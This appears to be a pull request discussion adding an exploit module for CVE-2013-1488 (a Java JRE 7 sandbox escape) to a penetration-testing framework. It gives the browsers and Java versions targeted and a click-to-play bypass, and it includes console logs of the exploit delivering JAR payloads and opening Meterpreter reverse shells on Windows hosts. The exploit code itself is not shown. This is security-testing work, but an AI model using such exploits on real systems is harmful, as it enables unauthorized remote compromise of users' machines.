Add module for CVE-2013-1488

[jvazquez-r7]

Module for the awesome bug and exploitation road described by @tiraniddo, impressive work from him.

Here is my try to put the msf module. Hope Iam not forgetting nothing in the PR. Tested on Win / IE8 and Win/ Google Chrome. Also Bypasses click2play on IE. Needs java jre 17u17. It's one of the bugs patched after pwn2own.

Test:

msf exploit(java_jre17_driver_manager) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Using URL: http://0.0.0.0:8080/k0OEsxDx
[*]  Local IP: http://10.6.0.165:8080/k0OEsxDx
[*] Server started.
msf exploit(java_jre17_driver_manager) > [*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/vbcDqcRu.jar
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/vbcDqcRu.jar
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/org.class
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/com.class
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/edu.class
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/net.class
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] Sending stage (30355 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:52828) at 2013-06-07 13:33:32 -0500
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/PpOfCKYH.jnlp
[*] 10.6.0.165       java_jre17_driver_manager - handling request for /k0OEsxDx/rvoXPXke.jar
[*] Sending stage (30355 bytes) to 10.6.0.165
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:52860) at 2013-06-07 13:33:44 -0500

[wchen-r7]

Processing......

[wchen-r7]

Tested on Win 8, merging shortly:

ph33r:~ wchen$ msfconsole -q
msf exploit(java_jre17_driver_manager) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444 
[*] Using URL: http://0.0.0.0:8080/qJm82ZPQYw
[*]  Local IP: http://10.0.1.76:8080/qJm82ZPQYw
[*] Server started.
msf exploit(java_jre17_driver_manager) > [*] 10.0.1.85        java_jre17_driver_manager - handling request for /qJm82ZPQYw
[*] 10.0.1.85        java_jre17_driver_manager - handling request for /qJm82ZPQYw/
[*] 10.0.1.85        java_jre17_driver_manager - handling request for /qJm82ZPQYw/wOVRAtWq.jnlp
[*] 10.0.1.85        java_jre17_driver_manager - handling request for /qJm82ZPQYw/bCENzNFF.jar
[*] Sending stage (30355 bytes) to 10.0.1.85
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.85:49482) at 2013-06-07 15:05:26 -0500

msf exploit(java_jre17_driver_manager) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : WIN-VFQHRRTCA39
OS          : Windows 8 6.2 (x86)
Meterpreter : java/java
meterpreter >